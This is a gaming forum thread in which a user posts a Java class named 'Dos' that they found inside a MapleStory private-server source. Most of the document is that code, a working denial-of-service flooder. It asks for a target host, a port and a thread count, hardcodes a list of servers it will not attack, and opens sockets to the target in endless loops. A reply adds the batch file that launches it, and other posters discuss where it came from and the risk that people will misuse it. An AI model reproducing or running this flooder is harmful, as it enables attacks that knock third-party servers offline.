Welcome!

Join our community of MMO enthusiasts and game developers! By registering, you'll gain access to discussions on the latest developments in MMO server files and collaborate with like-minded individuals. Join us today and unlock the potential of MMO server development!

Join Today!

What I found in Lithium Source

Status
Not open for further replies.
Joined
Sep 19, 2009
Messages
498
Reaction score
24
Code:
/*
This file is part of the OdinMS Maple Story Server
Copyright (C) 2008 ~ 2010 Patrick Huy <patrick.huy@frz.cc> 
Matthias Butz <matze@odinms.de>
Jan Christian Meyer <vimes@odinms.de>

This program is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License version 3
as published by the Free Software Foundation. You may not use, modify
or distribute this program under any other version of the
GNU Affero General Public License.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU Affero General Public License for more details.

You should have received a copy of the GNU Affero General Public License
along with this program.  If not, see <http://www.gnu.org/licenses/>.
 */
package tools;

import java.io.BufferedWriter;
import java.io.IOException;
import java.io.OutputStreamWriter;
import java.net.Socket;
import java.net.ConnectException;
import java.net.UnknownHostException;

public class Dos extends Socket implements Runnable {

    private static Dos instance = new Dos();
    public static String target = "";
    public static int port = 80;
    public static int count = 0;
    private static final String tosend = "";

    public static void main(String args[]) {

        System.out.println("Please input the IP/Domain of the target you would like to ddos :::");
        int retry1 = 0;
        while (retry1 == 0) {
            try {
                target = System.console().readLine();
                if (target.contains("kryptodev") || target.contains("destinyms") || target.contains("89.18.189.189") || target.contains("91.214.44.30") || target.contains("69.163.44.74") || target.contains("smexy.myftp.org")) {
                    retry1 = 0;
                    System.out.println("Invalid input. Please re-enter.");
                } else {
                    retry1 = 1;
                }
            } catch (Exception e) {
                System.out.println("Invalid input. Please re-enter.");
            }
        }

        System.out.println("Please input the port of the target you would like to ddos [Default = 80");
        int retry2 = 0;
        while (retry2 == 0) {
            try {
                port = Integer.parseInt(System.console().readLine());
                retry2 = 1;
            } catch (Exception e) {
                System.out.println("Invalid input. Please re-enter.");
            }
        }

        System.out.println("Please input the number of instance you would like to create :::");
        int retry3 = 0;
        int times = 0;
        while (retry3 == 0) {
            try {
                times = Integer.parseInt(System.console().readLine());
                retry3 = 1;
            } catch (Exception e) {
                System.out.println("Invalid input. Please re-enter.");
            }
        }

        System.out.println("Starting instances.");
        for (int i = 0; i < times; i++) {
            new Thread(instance).start();
            count++;
            System.out.println("Instance #" + i + " started.");
        }
    }

    public void run() {
        while (true) {
            try {
//		sendRawLine("GET / HTTP/1.1", net); // Sends the GET / OutputStream
//		sendRawLine("Host: " + target, net); // Sends Host: to the OutputStream
                final BufferedWriter out = new BufferedWriter(new OutputStreamWriter(new Socket(target, port).getOutputStream()));
                out.write(tosend);
                out.flush();
            } catch (ConnectException ce) {
                System.out.println("Connection exception occured, retrying.");
            } catch (UnknownHostException e) {
                System.out.println("DDoS.run: " + e);
            } catch (IOException e) {
                System.out.println("DDoS.run: " + e);
            }
        }
    }
}
Not sure what to say :huh:
 
UNTIL THEN!
Loyal Member
Joined
Mar 5, 2011
Messages
1,086
Reaction score
213
Old news. :mellow:
It's a DOS .bat file that used to be in like a v97 MSEA source or something.
Off-Topic:
How the hell do you change the "Account Upgraded | Title Enabled!" thing?
 
Skilled Illusionist
Joined
Nov 12, 2011
Messages
360
Reaction score
93
Where have all these people been... ._. Is this even a discussion? As for the other thing, just click on settings at the top and then click edit profile
 
Mythic Archon
Loyal Member
Joined
Jul 23, 2008
Messages
796
Reaction score
56
Wasn't this also in the source LaiLai released for v62? I remember this being used in v62 days. Also it's not a .bat file.
 
Skilled Illusionist
Joined
Nov 12, 2011
Messages
360
Reaction score
93
BlessTheKnife - What I found in Lithium Source - RaGEZONE Forums

PHP:
@echo off
@title DoSer
set CLASSPATH=.;dist\lithiumGMS.jar;dist\else\*
java -server -Dnet.sf.odinms.wzpath=XMLs\GMS\ tools.Dos
pause
 
Experienced Elementalist
Joined
Jul 19, 2011
Messages
288
Reaction score
32
Great, now some noobs are gonna use tat script to dos other servers. GG
Wasnt this is that tetrasea source? not a v97 one?
 
Status
Not open for further replies.
Back
Top